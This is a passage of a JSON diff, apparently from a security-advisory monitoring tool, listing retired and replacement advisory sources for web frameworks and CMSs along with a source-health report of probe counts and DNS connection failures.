+ "source_name": "Vue Security", + "bucket": "official_sources", + "kind": "html-links", + "retired_reason": "OSV Vue is the active official machine-readable replacement; keeping GitHub HTML advisories active adds duplicate cold-start cost.", + "replacement_sources": [ + "OSV Vue" + ], + "url": "https://github.com/vuejs/core/security" + }, + { + "system_id": "webpack", + "display_name": "webpack", + "source_name": "GitHub Global Advisories", + "bucket": "official_sources", + "kind": "ghsa-global", + "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; OSV webpack remains the active replacement source.", + "replacement_sources": [ + "OSV webpack" + ], + "url": "" + }, + { + "system_id": "webpack", + "display_name": "webpack", + "source_name": "NVD webpack", + "bucket": "ecosystem_sources", + "kind": "nvd-search", + "retired_reason": "OSV webpack replaces NVD public search for lower-latency machine-readable collection.", + "replacement_sources": [ + "OSV webpack" + ], + "url": "" + }, + { + "system_id": "werkzeug", + "display_name": "Werkzeug", + "source_name": "GitHub Global Advisories", + "bucket": "official_sources", + "kind": "ghsa-global", + "retired_reason": "Unauthenticated GitHub advisory API is quota-limited; OSV Werkzeug remains the active machine-readable source.", + "replacement_sources": [ + "OSV Werkzeug" + ], + "url": "" + }, + { + "system_id": "woocommerce", + "display_name": "WooCommerce", + "source_name": "NVD WooCommerce", + "bucket": "official_sources", + "kind": "nvd-search", + "retired_reason": "OSV WooCommerce replaces NVD for machine-readable collection while official and ecosystem advisory pages remain active.", + "replacement_sources": [ + "Woo Developer Advisories", + "GitHub WooCommerce Advisories", + "OSV WooCommerce" + ], + "url": "" + }, + { + "system_id": "wordpress", + "display_name": "WordPress", + "source_name": "NVD WordPress", + "bucket": "official_sources", + "kind": "nvd-search", + "retired_reason": "WordPress official RSS plus ecosystem plugin intelligence cover active collection with lower cold-start latency and lower public-search dependence than NVD.", + "replacement_sources": [ + "WordPress Security News RSS", + "Wordfence Vulnerability Database", + "WPScan Vulnerability Database" + ], + "url": "" + } + ], + "replacement_map": [ + { + "system_id": "adminer", + "retired_source": "NVD Adminer", + "replacement_sources": [ + "OSV Adminer" + ] + }, + { + "system_id": "adobe-commerce", + "retired_source": "Adobe Security Bulletins", + "replacement_sources": [ + "Adobe Magento Security Index", + "NVD Adobe Commerce", + "GHSA Adobe Commerce" + ] + }, + { + "system_id": "adobe-commerce", + "retired_source": "GHSA Adobe Commerce", + "replacement_sources": [ + "Adobe Magento Security Index", + "NVD Adobe Commerce" + ] + }, + { + "system_id": "adobe-commerce", + "retired_source": "NVD Adobe Commerce", + "replacement_sources": [ + "Adobe Magento Security Index" + ] + }, + { + "system_id": "adobe-commerce", + "retired_source": "Sansec Research", + "replacement_sources": [ + "GHSA Adobe Commerce", + "Adobe Magento Security Index" + ] + }, + { + "system_id": "angular", + "retired_source": "GitHub Global Advisories", + "replacement_sources": [ + "OSV Angular" + ] + }, + { + "system_id": "apache-httpd", + "retired_source": "NVD Apache HTTP Server", + "replacement_sources": [ + "Apache HTTPD Security", + "CISA KEV Apache HTTPD" + ] + }, + { + "system_id": "apache-tomcat", + "retired_source": "NVD Tomcat", + "replacement_sources": [ + "Apache Tomcat Security", + "CISA KEV Tomcat" + ] + }, + { + "system_id": "aspnet-core", + "retired_source": "NVD ASP.NET Core", + "replacement_sources": [ + "OSV ASP.NET Core" + ] + }, + { + "system_id": "astro", + "retired_source": "GitHub Global Advisories", + "replacement_sources": [ + "OSV Astro" + ] + }, + { + "system_id": "caddy", + "retired_source": "GitHub Caddy Advisories", + "replacement_sources": [ + "OSV Caddy" + ] + }, + { + "system_id": "discourse", + "retired_source": "Discourse Meta Security", + "replacement_sources": [ + "Discourse Release Notes RSS", + "GitHub Discourse Advisories" + ] + }, + { + "system_id": "discourse", + "retired_source": "GitHub Discourse Advisories", + "replacement_sources": [ + "Discourse Release Notes RSS", + "Discourse Security RSS" + ] + }, + { + "system_id": "django", + "retired_source": "Django Security RSS", + "replacement_sources": [ + "Django Security Weblog", + "Django Security Releases Archive" + ] + }, + { + "system_id": "drupal", + "retired_source": "NVD Drupal", + "replacement_sources": [ + "Drupal Security Advisories RSS", + "OSV Drupal" + ] + }, + { + "system_id": "esbuild", + "retired_source": "GitHub Global Advisories", + "replacement_sources": [ + "OSV esbuild" + ] + }, + { + "system_id": "esbuild", + "retired_source": "NVD esbuild", + "replacement_sources": [ + "OSV esbuild" + ] + }, + { + "system_id": "express", + "retired_source": "GitHub Global Advisories", + "replacement_sources": [ + "OSV Express" + ] + }, + { + "system_id": "express", + "retired_source": "NVD Express.js", + "replacement_sources": [ + "OSV Express" + ] + }, + { + "system_id": "fastify", + "retired_source": "GitHub Global Advisories", + "replacement_sources": [ + "OSV Fastify" + ] + }, + { + "system_id": "flask", + "retired_source": "GitHub Global Advisories", + "replacement_sources": [ + "OSV Flask" + ] + }, + { + "system_id": "ghost", + "retired_source": "NVD Ghost", + "replacement_sources": [ + "Ghost GitHub Advisories", + "OSV Ghost" + ] + }, + { + "system_id": "gitea", + "retired_source": "GitHub Gitea Advisories", + "replacement_sources": [ + "OSV Gitea" + ] + }, + { + "system_id": "gitlab-ce", + "retired_source": "GitLab Security Releases", + "replacement_sources": [ + "GitLab Security Releases Atom" + ] + }, + { + "system_id": "gitlab-ce", + "retired_source": "NVD GitLab", + "replacement_sources": [ + "GitLab Security Releases", + "GitLab Security Releases Atom" + ] + }, + { + "system_id": "hapi", + "retired_source": "GitHub Global Advisories", + "replacement_sources": [ + "OSV Hapi" + ] + }, + { + "system_id": "haproxy", + "retired_source": "HAProxy Security Advisories", + "replacement_sources": [ + "HAProxy Blog Feed" + ] + }, + { + "system_id": "haproxy", + "retired_source": "NVD HAProxy", + "replacement_sources": [ + "HAProxy Blog Feed" + ] + }, + { + "system_id": "jenkins", + "retired_source": "Jenkins Security Advisories", + "replacement_sources": [ + "Jenkins Security Advisories RSS" + ] + }, + { + "system_id": "jenkins", + "retired_source": "NVD Jenkins", + "replacement_sources": [ + "Jenkins Security Advisories", + "Jenkins Security Advisories RSS" + ] + }, + { + "system_id": "joomla", + "retired_source": "NVD Joomla", + "replacement_sources": [ + "Joomla Security Centre", + "OSV Joomla" + ] + }, + { + "system_id": "kibana", + "retired_source": "Elastic Security Announcements", + "replacement_sources": [ + "Elastic Security Announcements RSS" + ] + }, + { + "system_id": "kibana", + "retired_source": "NVD Kibana", + "replacement_sources": [ + "Elastic Security Announcements", + "Elastic Security Announcements RSS" + ] + }, + { + "system_id": "koa", + "retired_source": "GitHub Global Advisories", + "replacement_sources": [ + "OSV Koa" + ] + }, + { + "system_id": "laravel", + "retired_source": "GitHub Global Advisories", + "replacement_sources": [ + "OSV Laravel" + ] + }, + { + "system_id": "magento-open-source", + "retired_source": "NVD Magento", + "replacement_sources": [ + "Magento GitHub Advisories", + "OSV Magento Open Source" + ] + }, + { + "system_id": "mattermost", + "retired_source": "Mattermost Security Updates", + "replacement_sources": [ + "NVD Mattermost" + ] + }, + { + "system_id": "mattermost", + "retired_source": "NVD Mattermost", + "replacement_sources": [ + "Mattermost Security Updates JSON", + "OSV Mattermost" + ] + }, + { + "system_id": "mediawiki", + "retired_source": "MediaWiki Security Releases", + "replacement_sources": [ + "MediaWiki Announce RSS", + "NVD MediaWiki" + ] + }, + { + "system_id": "mediawiki", + "retired_source": "NVD MediaWiki", + "replacement_sources": [ + "MediaWiki Announce RSS", + "OSV MediaWiki" + ] + }, + { + "system_id": "medusa", + "retired_source": "GitHub Medusa Advisories", + "replacement_sources": [ + "OSV Medusa" + ] + }, + { + "system_id": "moodle", + "retired_source": "Moodle Security News", + "replacement_sources": [ + "NVD Moodle" + ] + }, + { + "system_id": "moodle", + "retired_source": "NVD Moodle", + "replacement_sources": [ + "OSV Moodle" + ] + }, + { + "system_id": "nestjs", + "retired_source": "GitHub Global Advisories", + "replacement_sources": [ + "OSV NestJS" + ] + }, + { + "system_id": "nestjs", + "retired_source": "NVD NestJS", + "replacement_sources": [ + "OSV NestJS" + ] + }, + { + "system_id": "nextjs", + "retired_source": "GitHub Global Advisories", + "replacement_sources": [ + "GitHub Next.js Advisories", + "OSV Next.js" + ] + }, + { + "system_id": "nextjs", + "retired_source": "GitHub Next.js Advisories", + "replacement_sources": [ + "OSV Next.js" + ] + }, + { + "system_id": "nginx", + "retired_source": "NVD NGINX", + "replacement_sources": [ + "NGINX Security Advisories", + "CISA KEV NGINX" + ] + }, + { + "system_id": "nuxt", + "retired_source": "GitHub Global Advisories", + "replacement_sources": [ + "Nuxt Security", + "OSV Nuxt" + ] + }, + { + "system_id": "nuxt", + "retired_source": "Nuxt Security", + "replacement_sources": [ + "OSV Nuxt" + ] + }, + { + "system_id": "opencart", + "retired_source": "NVD OpenCart", + "replacement_sources": [ + "OpenCart Releases", + "OSV OpenCart" + ] + }, + { + "system_id": "openmage", + "retired_source": "NVD OpenMage", + "replacement_sources": [ + "OpenMage GitHub Advisories", + "OSV OpenMage" + ] + }, + { + "system_id": "phpmyadmin", + "retired_source": "NVD phpMyAdmin", + "replacement_sources": [ + "phpMyAdmin Security Page", + "OSV phpMyAdmin" + ] + }, + { + "system_id": "prestashop", + "retired_source": "NVD PrestaShop", + "replacement_sources": [ + "PrestaShop Security Page", + "GitHub PrestaShop Advisories", + "OSV PrestaShop" + ] + }, + { + "system_id": "rails", + "retired_source": "GitHub Global Advisories", + "replacement_sources": [ + "OSV Rails" + ] + }, + { + "system_id": "rails", + "retired_source": "NVD Ruby on Rails", + "replacement_sources": [ + "OSV Rails" + ] + }, + { + "system_id": "react", + "retired_source": "GitHub Global Advisories", + "replacement_sources": [ + "GitHub React Advisories", + "OSV React" + ] + }, + { + "system_id": "react", + "retired_source": "GitHub React Advisories", + "replacement_sources": [ + "OSV React" + ] + }, + { + "system_id": "redmine", + "retired_source": "NVD Redmine", + "replacement_sources": [ + "Redmine Security Advisories" + ] + }, + { + "system_id": "saleor", + "retired_source": "NVD Saleor", + "replacement_sources": [ + "GitHub Saleor Advisories", + "OSV Saleor" + ] + }, + { + "system_id": "shopware", + "retired_source": "NVD Shopware", + "replacement_sources": [ + "Shopware Security Advisories", + "OSV Shopware" + ] + }, + { + "system_id": "spring-boot", + "retired_source": "GitHub Global Advisories", + "replacement_sources": [ + "Spring Security Advisories", + "OSV Spring Boot" + ] + }, + { + "system_id": "spring-framework", + "retired_source": "GitHub Global Advisories", + "replacement_sources": [ + "Spring Security Advisories", + "OSV Spring Framework" + ] + }, + { + "system_id": "spring-security", + "retired_source": "GitHub Global Advisories", + "replacement_sources": [ + "Spring Security Advisories", + "OSV Spring Security" + ] + }, + { + "system_id": "sveltekit", + "retired_source": "GitHub Global Advisories", + "replacement_sources": [ + "OSV SvelteKit" + ] + }, + { + "system_id": "symfony", + "retired_source": "GitHub Global Advisories", + "replacement_sources": [ + "OSV Symfony" + ] + }, + { + "system_id": "traefik", + "retired_source": "GitHub Traefik Advisories", + "replacement_sources": [ + "OSV Traefik" + ] + }, + { + "system_id": "undici", + "retired_source": "GitHub Global Advisories", + "replacement_sources": [ + "OSV Undici" + ] + }, + { + "system_id": "undici", + "retired_source": "NVD Undici", + "replacement_sources": [ + "OSV Undici" + ] + }, + { + "system_id": "vite", + "retired_source": "GitHub Global Advisories", + "replacement_sources": [ + "Vite Security", + "OSV Vite" + ] + }, + { + "system_id": "vite", + "retired_source": "Vite Security", + "replacement_sources": [ + "OSV Vite" + ] + }, + { + "system_id": "vue", + "retired_source": "GitHub Global Advisories", + "replacement_sources": [ + "Vue Security", + "OSV Vue" + ] + }, + { + "system_id": "vue", + "retired_source": "Vue Security", + "replacement_sources": [ + "OSV Vue" + ] + }, + { + "system_id": "webpack", + "retired_source": "GitHub Global Advisories", + "replacement_sources": [ + "OSV webpack" + ] + }, + { + "system_id": "webpack", + "retired_source": "NVD webpack", + "replacement_sources": [ + "OSV webpack" + ] + }, + { + "system_id": "werkzeug", + "retired_source": "GitHub Global Advisories", + "replacement_sources": [ + "OSV Werkzeug" + ] + }, + { + "system_id": "woocommerce", + "retired_source": "NVD WooCommerce", + "replacement_sources": [ + "Woo Developer Advisories", + "GitHub WooCommerce Advisories", + "OSV WooCommerce" + ] + }, + { + "system_id": "wordpress", + "retired_source": "NVD WordPress", + "replacement_sources": [ + "WordPress Security News RSS", + "Wordfence Vulnerability Database", + "WPScan Vulnerability Database" + ] + } + ] + }, + "source_health": { + "generated_at": "2026-03-21T12:51:08+00:00", + "active_source_count": 101, + "green_source_count": 26, + "failure_count": 75, + "all_green": false, + "last_fully_green_run": "2026-03-20T15:45:58+00:00", + "retries_performed": 101, + "probes": [ + { + "system_id": "spring-boot", + "source_name": "OSV Spring Boot", + "source_kind": "osv-batch", + "kind": "osv-batch", + "items_seen": 1 + }, + { + "system_id": "spring-boot", + "source_name": "Spring Security Advisories", + "source_kind": "html-links", + "kind": "html-links", + "items_seen": 118 + }, + { + "system_id": "spring-framework", + "source_name": "OSV Spring Framework", + "source_kind": "osv-batch", + "kind": "osv-batch", + "items_seen": 1 + }, + { + "system_id": "spring-framework", + "source_name": "Spring Security Advisories", + "source_kind": "html-links", + "kind": "html-links", + "items_seen": 118 + }, + { + "system_id": "spring-security", + "source_name": "OSV Spring Security", + "source_kind": "osv-batch", + "kind": "osv-batch", + "items_seen": 1 + }, + { + "system_id": "spring-security", + "source_name": "Spring Security Advisories", + "source_kind": "html-links", + "kind": "html-links", + "items_seen": 118 + }, + { + "system_id": "strapi", + "source_name": "OSV Strapi", + "source_kind": "osv-batch", + "kind": "osv-batch", + "items_seen": 1 + }, + { + "system_id": "strapi", + "source_name": "Strapi GitHub Advisories", + "source_kind": "html-links", + "kind": "html-links", + "items_seen": 124 + }, + { + "system_id": "sveltekit", + "source_name": "OSV SvelteKit", + "source_kind": "osv-batch", + "kind": "osv-batch", + "items_seen": 1 + }, + { + "system_id": "symfony", + "source_name": "OSV Symfony", + "source_kind": "osv-batch", + "kind": "osv-batch", + "items_seen": 1 + }, + { + "system_id": "traefik", + "source_name": "OSV Traefik", + "source_kind": "osv-batch", + "kind": "osv-batch", + "items_seen": 1 + }, + { + "system_id": "undici", + "source_name": "OSV Undici", + "source_kind": "osv-batch", + "kind": "osv-batch", + "items_seen": 1 + }, + { + "system_id": "vite", + "source_name": "OSV Vite", + "source_kind": "osv-batch", + "kind": "osv-batch", + "items_seen": 1 + }, + { + "system_id": "vue", + "source_name": "OSV Vue", + "source_kind": "osv-batch", + "kind": "osv-batch", + "items_seen": 1 + }, + { + "system_id": "webpack", + "source_name": "OSV webpack", + "source_kind": "osv-batch", + "kind": "osv-batch", + "items_seen": 1 + }, + { + "system_id": "werkzeug", + "source_name": "OSV Werkzeug", + "source_kind": "osv-batch", + "kind": "osv-batch", + "items_seen": 1 + }, + { + "system_id": "woocommerce", + "source_name": "GitHub WooCommerce Advisories", + "source_kind": "html-links", + "kind": "html-links", + "items_seen": 107 + }, + { + "system_id": "woocommerce", + "source_name": "OSV WooCommerce", + "source_kind": "osv-batch", + "kind": "osv-batch", + "items_seen": 1 + }, + { + "system_id": "woocommerce", + "source_name": "Patchstack Database", + "source_kind": "html-links", + "kind": "html-links", + "items_seen": 193 + }, + { + "system_id": "woocommerce", + "source_name": "Woo Developer Advisories", + "source_kind": "html-links", + "kind": "html-links", + "items_seen": 121 + }, + { + "system_id": "woocommerce", + "source_name": "Wordfence Vulnerability Database", + "source_kind": "html-links", + "kind": "html-links", + "items_seen": 0 + }, + { + "system_id": "wordpress", + "source_name": "Patchstack Database", + "source_kind": "html-links", + "kind": "html-links", + "items_seen": 193 + }, + { + "system_id": "wordpress", + "source_name": "PortSwigger Research", + "source_kind": "html-links", + "kind": "html-links", + "items_seen": 99 + }, + { + "system_id": "wordpress", + "source_name": "WPScan Vulnerability Database", + "source_kind": "html-links", + "kind": "html-links", + "items_seen": 75 + }, + { + "system_id": "wordpress", + "source_name": "WordPress Security News RSS", + "source_kind": "rss-feed", + "kind": "rss-feed", + "items_seen": 10 + }, + { + "system_id": "wordpress", + "source_name": "Wordfence Vulnerability Database", + "source_kind": "html-links", + "kind": "html-links", + "items_seen": 0 + } + ], + "failures": [ + { + "system_id": "adminer", + "display_name": "Adminer", + "source_name": "OSV Adminer", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "adminer::OSV Adminer::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "adobe-commerce", + "display_name": "Adobe Commerce", + "source_name": "Adobe Magento Security Index", + "source_kind": "vendor-index", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='helpx.adobe.com', port=443): Max retries exceeded with url: /security/products/magento.html (Caused by NameResolutionError(\"HTTPSConnection(host='helpx.adobe.com', port=443): Failed to resolve 'helpx.adobe.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://helpx.adobe.com/security/products/magento.html", + "summary": "adobe-commerce::Adobe Magento Security Index::network::HTTPSConnectionPool(host='helpx.adobe.com', port=443): Max retries exceeded with url: /security/products/magento.html (Caused by NameResolutionError(\"HTTPSConnection(host='helpx.adobe.com', port=443): Failed to resolve 'helpx.adobe.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "angular", + "display_name": "Angular", + "source_name": "OSV Angular", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "angular::OSV Angular::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "apache-httpd", + "display_name": "Apache HTTP Server", + "source_name": "Apache HTTPD Security", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='httpd.apache.org', port=443): Max retries exceeded with url: /security/vulnerabilities_24.html (Caused by NameResolutionError(\"HTTPSConnection(host='httpd.apache.org', port=443): Failed to resolve 'httpd.apache.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://httpd.apache.org/security/vulnerabilities_24.html", + "summary": "apache-httpd::Apache HTTPD Security::network::HTTPSConnectionPool(host='httpd.apache.org', port=443): Max retries exceeded with url: /security/vulnerabilities_24.html (Caused by NameResolutionError(\"HTTPSConnection(host='httpd.apache.org', port=443): Failed to resolve 'httpd.apache.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "apache-httpd", + "display_name": "Apache HTTP Server", + "source_name": "CISA KEV Apache HTTPD", + "source_kind": "kev-json", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json", + "summary": "apache-httpd::CISA KEV Apache HTTPD::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "apache-tomcat", + "display_name": "Apache Tomcat", + "source_name": "Apache Tomcat Security", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='tomcat.apache.org', port=443): Max retries exceeded with url: /security-10.html (Caused by NameResolutionError(\"HTTPSConnection(host='tomcat.apache.org', port=443): Failed to resolve 'tomcat.apache.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://tomcat.apache.org/security-10.html", + "summary": "apache-tomcat::Apache Tomcat Security::network::HTTPSConnectionPool(host='tomcat.apache.org', port=443): Max retries exceeded with url: /security-10.html (Caused by NameResolutionError(\"HTTPSConnection(host='tomcat.apache.org', port=443): Failed to resolve 'tomcat.apache.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "apache-tomcat", + "display_name": "Apache Tomcat", + "source_name": "CISA KEV Tomcat", + "source_kind": "kev-json", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json", + "summary": "apache-tomcat::CISA KEV Tomcat::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "aspnet-core", + "display_name": "ASP.NET Core", + "source_name": "OSV ASP.NET Core", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "aspnet-core::OSV ASP.NET Core::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "astro", + "display_name": "Astro", + "source_name": "OSV Astro", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "astro::OSV Astro::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "caddy", + "display_name": "Caddy", + "source_name": "OSV Caddy", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "caddy::OSV Caddy::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "directus", + "display_name": "Directus", + "source_name": "Directus GitHub Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /directus/directus/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://github.com/directus/directus/security/advisories", + "summary": "directus::Directus GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /directus/directus/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "directus", + "display_name": "Directus", + "source_name": "OSV Directus", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "directus::OSV Directus::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "discourse", + "display_name": "Discourse", + "source_name": "Discourse Release Notes RSS", + "source_kind": "rss-feed", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='meta.discourse.org', port=443): Max retries exceeded with url: /tag/release-notes.rss (Caused by NameResolutionError(\"HTTPSConnection(host='meta.discourse.org', port=443): Failed to resolve 'meta.discourse.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://meta.discourse.org/tag/release-notes.rss", + "summary": "discourse::Discourse Release Notes RSS::network::HTTPSConnectionPool(host='meta.discourse.org', port=443): Max retries exceeded with url: /tag/release-notes.rss (Caused by NameResolutionError(\"HTTPSConnection(host='meta.discourse.org', port=443): Failed to resolve 'meta.discourse.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "discourse", + "display_name": "Discourse", + "source_name": "Discourse Security RSS", + "source_kind": "rss-feed", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='meta.discourse.org', port=443): Max retries exceeded with url: /tag/security.rss (Caused by NameResolutionError(\"HTTPSConnection(host='meta.discourse.org', port=443): Failed to resolve 'meta.discourse.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://meta.discourse.org/tag/security.rss", + "summary": "discourse::Discourse Security RSS::network::HTTPSConnectionPool(host='meta.discourse.org', port=443): Max retries exceeded with url: /tag/security.rss (Caused by NameResolutionError(\"HTTPSConnection(host='meta.discourse.org', port=443): Failed to resolve 'meta.discourse.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "discourse", + "display_name": "Discourse", + "source_name": "OSV Discourse", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "discourse::OSV Discourse::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "django", + "display_name": "Django", + "source_name": "Django Security Releases Archive", + "source_kind": "vendor-index", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='docs.djangoproject.com', port=443): Max retries exceeded with url: /en/dev/releases/security/ (Caused by NameResolutionError(\"HTTPSConnection(host='docs.djangoproject.com', port=443): Failed to resolve 'docs.djangoproject.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://docs.djangoproject.com/en/dev/releases/security/", + "summary": "django::Django Security Releases Archive::network::HTTPSConnectionPool(host='docs.djangoproject.com', port=443): Max retries exceeded with url: /en/dev/releases/security/ (Caused by NameResolutionError(\"HTTPSConnection(host='docs.djangoproject.com', port=443): Failed to resolve 'docs.djangoproject.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "django", + "display_name": "Django", + "source_name": "Django Security Weblog", + "source_kind": "vendor-index", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.djangoproject.com', port=443): Max retries exceeded with url: /weblog/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.djangoproject.com', port=443): Failed to resolve 'www.djangoproject.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.djangoproject.com/weblog/", + "summary": "django::Django Security Weblog::network::HTTPSConnectionPool(host='www.djangoproject.com', port=443): Max retries exceeded with url: /weblog/ 